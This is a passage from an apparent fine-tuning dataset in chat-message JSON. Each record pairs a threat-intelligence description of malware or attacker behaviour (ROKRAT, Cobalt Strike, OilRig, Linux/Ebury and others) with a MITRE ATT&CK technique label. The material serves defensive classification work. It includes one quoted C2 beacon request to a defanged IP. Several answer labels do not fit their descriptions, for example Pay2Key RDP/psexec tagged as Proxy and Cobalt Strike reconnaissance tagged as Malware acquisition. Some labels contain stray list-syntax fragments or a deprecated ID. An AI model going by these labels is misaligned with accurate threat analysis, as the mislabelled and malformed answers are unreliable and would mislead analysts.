                "content": "T1041 - Exfiltration Over C2 Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has used VBS, VBE, and batch scripts for execution."
            },
            {
                "role": "assistant",
                "content": "T1064 - Scripting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The document brought Talos a new gift - a new version of ROKRAT"
            },
            {
                "role": "assistant",
                "content": "T1543 - Create or Modify System Process', 'T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Taidoor can use \"GetLocalTime\" and \"GetSystemTime\" to collect system time."
            },
            {
                "role": "assistant",
                "content": "T1124 - System Time Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "creates a backdoor through which remote attackers can create a service."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "contains the getInstalledAPP function to run ls -la /Applications to gather what applications are installed."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "creates a backdoor through which remote attackers can delete files."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Although Cobalt Strike has many capabilities beneficial to threat actors in ransomware attacks, it was mainly seen in LockBit 2.0 investigations acting as a command and control beacon, a method of lateral movement and a tool for downloading/executing files."
            },
            {
                "role": "assistant",
                "content": "T1021 - Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "dsquery can be used to gather information on user accounts within a domain."
            },
            {
                "role": "assistant",
                "content": "T1087.002 - Account Discovery: Domain Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "exfiltrates data using cookie values that are Base64-encoded."
            },
            {
                "role": "assistant",
                "content": "T1132 - Data Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Clambling has the ability to enumerate Registry keys, including \"KEY_CURRENT_USER\\Software\\Bitcoin\\Bitcoin-Qt\\strDataDir\" to search for a bitcoin wallet."
            },
            {
                "role": "assistant",
                "content": "T1012 - Query Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FIN6 used another set of compromised credentials with membership to additional groups in the domain to RDP to other hosts"
            },
            {
                "role": "assistant",
                "content": "T1021.001 - Remote Services: Remote Desktop Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "POORAIM has been delivered through compromised sites acting as watering holes."
            },
            {
                "role": "assistant",
                "content": "T1189 - Drive-by Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Password from successful login to the infected server: Whenever someone logs in a system infected with Linux/Ebury, the sshd daemon will save the password and send it to the exfiltration server. Password on successful login from the infected server: When someone uses the ssh client on an infected server, Linux/Ebury will intercept the password and sent it to its exfiltration server. Private key passphrase: When the ssh client on an infected server prompts the user for an private key passphrase, the passphrase will be sent to the remote exfiltration server. Unencrypted private key: When a private key is used to authenticate to a remote server, the unencrypted version is intercepted by the malware. Unlike passwords, it will not send the key to the exfiltration server. Instead, it will store it memory and wait for the operators to fetch the key with the Xcat command. Private keys added to the OpenSSH agent with ssh-add: The keys added to an OpenSSH agent are also intercepted by the malware. Both the unencrypted key itself and the passphrase typed by the user will be logged"
            },
            {
                "role": "assistant",
                "content": "T1552.004 - Unsecured Credentials: Private Keys"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The resulting HTTP POST request looks like the following: POST http://185.25.50[.]93/syshelp/kd8812u/protocol.php HTTP/1.1 Host: 185.25.50[.]93 Content-Type: application/x-www-form-urlencoded Content-Length: 21 porg=44908AE0524f422d We have not seen a C2 server respond to our requests during our analysis, however, we do know how the Trojan will parse the C2’s response for specific data"
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Nebulae can enumerate processes on a target system."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "LitePower has the ability to download payloads containing system commands to a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "creates a Launch Agent on macOS."
            },
            {
                "role": "assistant",
                "content": "T1543.001 - Create or Modify System Process: Launch Agent"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "WannaCry uses \"vssadmin\", \"wbadmin\", \"bcdedit\", and \"wmic\" to delete and disable operating system recovery features."
            },
            {
                "role": "assistant",
                "content": "T1490 - Inhibit System Recovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FIN8 has used HTTPS for command and control."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Mongall can identify removable media attached to compromised hosts."
            },
            {
                "role": "assistant",
                "content": "T1120 - Peripheral Device Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has collected data from victims' local systems."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "1) Right after midnight, the attackers connected to a machine on the targeted network most probably via RDP. 3) The attacker used psexec.exe to execute “Cobalt.Client.exe”, which is the Pay2Key ransomware itself, on different machines within the organization"
            },
            {
                "role": "assistant",
                "content": "T1090 - Proxy', 'T1090.001 - Proxy: Internal Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Green Lambert has been disguised as a Growl help file."
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Some versions of  have used the hard-coded string “this is the encrypt key” for Blowfish encryption when communicating with a C2. Later versions have hard-coded keys uniquely for each C2 address."
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In order to identify a particular mining session, a file containing the IP address of the machine and the day’s date is created by the idgenerator script and its output is sent to the C&amp;C server by the updater.sh script"
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cobalt Strike leads to reconnaissance of an infected host’s environment. In our lab environments, this reconnaissance activity can start within a few minutes after Cobalt Strike traffic first appears."
            },
            {
                "role": "assistant",
                "content": "T1588.001 - Malware', 'T1587.001 - Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Squirrelwaffle has relied on victims to click on a malicious link send via phishing campaigns."
            },
            {
                "role": "assistant",
                "content": "T1204.001 - Malicious Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor behind Bisonal is clearly motivated and has an interest in Russian, Korean and Japanese victims. The development of Bisonal has been active for more than a decade. However, specific functions are still used today, many years after the original implementation of the Bional malware. Even if Bisonal could be considered as simple with less than 30 functions, it has spent its life targeting sensitive entities in both the public and private sectors. For example, in one campaign they put the domain name of the C2 server in plaintext in the malware which had the function to generate a non-ASCII string for the C2 servers once decoded. In this condition, the malware cannot work on the compromised system. With this investigation and the analysis of this decade of activity, we hope to force this actor to innovate by providing a better understanding of his arsenal and more specifically how Bisonal works"
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ComRAT has encrypted and stored its orchestrator code in the Registry as well as a PowerShell script into the WsqmCons Registry key."
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "NETWIRE has the ability to use \"/bin/bash\" and \"/bin/sh\" to execute commands."
            },
            {
                "role": "assistant",
                "content": "T1059.004 - Command and Scripting Interpreter: Bash"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "OilRig has used credential dumping tool named VALUEVAULT to steal credentials from the Windows Credential Manager."
            },
            {
                "role": "assistant",
                "content": "T1555.004 - Credentials from Password Stores: Windows Credential Manager"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The NOKKI payload is written to %LOCALAPPDATA%\\MicroSoft Updatea\\svServiceUpdate.exe prior being executed in a new process. Persistence is achieved by writing the file path to the HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\svstartup registry key."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The January 8 attack used a variant of the ThreeDollars delivery document, which we identified as part of the OilRig toolset based on attacks that occurred in August 2017. Instead, this attack involved delivering the OopsIE Trojan directly to the victim, most likely using a link in a spear phishing email. A New Attack On January 8, 2018, the OilRig threat group sent an email with the subject Beirut Insurance Seminar Invitation to an insurance agency in the Middle East. The OilRig group sent two emails to two different email addresses at the same organization within a six minutes time span. The recipient email addresses suggest they may be the addresses used for specific regional branches of the targeted organization. However, based upon the captured session data, it is highly likely the source email address was spoofed. The email contained an attachment named Seminar-Invitation.doc, which is a malicious Microsoft Word document we track as ThreeDollars. In this case, the ThreeDollars delivery document was not used and instead an attempt was made to deliver the OopsIE Trojan directly to the targeted organization, likely via a link within an email. While this is not a new tactic, this is the first instance where we have observed the OilRig using it in their playbook. As we have observed throughout our tracking of the OilRig group, adopting proven tactics has been a common behavior over time"
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Register as a startup program in HKEY_CURRENT_USER\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run if it has no privileged (Figure 6). Otherwise, it will register itself as a system service (Figure 7"
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Dragonfly 2.0 used spearphishing with Microsoft Office attachments to target victims."
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PlugX can be added as a service to establish persistence. PlugX also has a module to change service configurations as well as start, control, and delete services."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The data exfiltration process runs in the following sequence: The temp.ini files are copied into a text file that matches the pattern"
            },
            {
                "role": "assistant",
                "content": "T1020 - Automated Exfiltration"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Tropic Trooper has monitored files' modified time."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Compromise website of strategic importance (e.g. websites visitors have a higher likelihood to be targets of interest) - Add one or more webshell backdoors to victim websites to maintain persistence - Webshell used to add JavaScript developed by OceanLotus into the website - The malicious JavaScript makes calls over HTTP or HTTPS to attacker controlled domains to typically load one of two different OceanLotus frameworks - OceanLotus JavaScript frameworks designed to track, profile, and target the compromised website's visitors - Website visitors of interest are flagged for targeting and receive special JavaScript aimed at compromising the user's system or e-mail accounts"
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Reaver collects system information from the victim, including CPU speed, computer name, volume serial number, ANSI code page, OEM code page identifier for the OS, Microsoft Windows version, and memory information."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Dipsind uses HTTP for C2."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT37 delivers malware using spearphishing emails with malicious HWP attachments."
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FIN7 created a custom video recording capability that could be used to monitor operations in the victim's environment."
            },
            {
                "role": "assistant",
                "content": "T1125 - Video Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ngrok can be used to proxy connections to machines located behind NAT or firewalls."
            },
            {
                "role": "assistant",
                "content": "T1090 - Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "HOPLIGHT has multiple proxy options that mask traffic between the malware and the remote operators."
            },
            {
                "role": "assistant",
                "content": "T1090 - Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "One of the reconnaissance commands was to run a modified nbtscan tool (\"NetBIOS nameserver scanner\") to identify available NetBIOS name servers locally or over the network. Nbtscan has been used by APT10 in Operation Cloud Hopper to search for services of interest across the IT estate and footprint endpoints of interest. It is also capable of identifying system information"
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery', 'T1018 - Remote System Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Dragonfly has used spearphising campaigns to gain access to victims."
            },
            {
                "role": "assistant",
                "content": "T1566 - Phishing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "WEBC2 can open an interactive command shell."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PowerShell scripts that perform system reconnaissance and credential theft from Windows Credential Manager and then send this information back to Waterbug C&amp;Cs"
            },
            {
                "role": "assistant",
                "content": "T1555.004 - Credentials from Password Stores: Windows Credential Manager"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PROMETHIUM has used Registry run keys to establish persistence."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can retrieve the current content of the user clipboard."
            },
            {
                "role": "assistant",
                "content": "T1115 - Clipboard Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Penquin can encrypt communications using the BlowFish algorithm and a symmetric key exchanged with Diffie Hellman."
            },
            {
                "role": "assistant",
                "content": "T1573.002 - Asymmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attack overview . Flagpro is used in the initial stage of attacks to investigate target’s environment, download a second stage malware and execute it. Flagpro communicates with a C&amp;C server, and it receives commands to execute from the server, or Flagpro downloads a second stage malware and then executes it. Therefore, Flagpro may have already been used for attacking cases at that point. We call this sample using MFC as “Flagpro v2.0” and old one as “Flagpro v1.0” in this article. Once Flagpro is launched, it communicate with a C&amp;C server and executes the received commands as shown in the above list. If it is not included in both Download Command fields in the command, Flagpro will not execute the main processes such as downloading, executing OS commands, collecting authentication information, and so on. If a Download Command field has “ExecYes”, Flagpro downloads and executes the file. In requesting commands, sending execution results of OS commands or collected authentication information, Flagpro accesses a C&amp;C server with specific URL paths and queries. Following image is an example of the response: Detections . To detect attacks using Flagpro, it is effective to create and install custom signature both on network and endpoint devices. In addition, the investigation commands after Flagpro establishes the connection with the C&amp;C server like following are also useful for detection"
            },
            {
                "role": "assistant",
                "content": "T1069.001 - Permission Groups Discovery: Local Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "MuddyWater has used PowerShell for execution."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Silent Librarian has set up auto forwarding rules on compromised e-mail accounts."
            },
            {
                "role": "assistant",
                "content": "T1114.003 - Email Collection: Email Forwarding Rule"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "actors used the following command to rename one of their tools to a benign file name: ren \"%temp%\\upload\" audiodg.exe"
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Melcoz can use VBS scripts to execute malicious DLLs."
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "While the ports associated with this sample’s configuration pertain normally to HTTP, HTTPS, or DNS, network communication takes place via raw sockets"
            },
            {
                "role": "assistant",
                "content": "T1095 - Non-Application Layer Protocol', 'T1571 - Non-Standard Port"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "RedLeaves can receive and execute commands with cmd.exe. It can also provide a reverse shell."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "gathers volume drive information and system information."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In order to decide which domain xparis() holds, a variable pingadori() uses the radador() function to randomize the domain"
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BlackEnergy can gather very specific information about attached USB devices, to include device instance ID and drive geometry."
            },
            {
                "role": "assistant",
                "content": "T1120 - Peripheral Device Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Figure 3: ALFA TEaM Shell v2-Fake Mail (Default) Figure 4 shows an example email containing the default values the shell"
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ramsay can collect data from network drives and stage it for exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1039 - Data from Network Shared Drive"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Communication over DNS tunnel with a hardcoded domain name and DGA-generated subdomain - C2 traffic encrypted with RSA-2048 - Custom AES-encrypted storage format used to store configuration, plugins, and harvested data - Unique version number for each sample"
            },
            {
                "role": "assistant",
                "content": "T1071.004 - Application Layer Protocol: DNS', 'T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Pony has used scripts to delete itself after execution."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PoetRAT has used a custom encryption scheme for communication between scripts and pyminifier to obfuscate scripts."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BOOTRASH is a Volume Boot Record (VBR) bootkit that uses the VBR to maintain persistence."
            },
            {
                "role": "assistant",
                "content": "T1542.003 - Bootkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
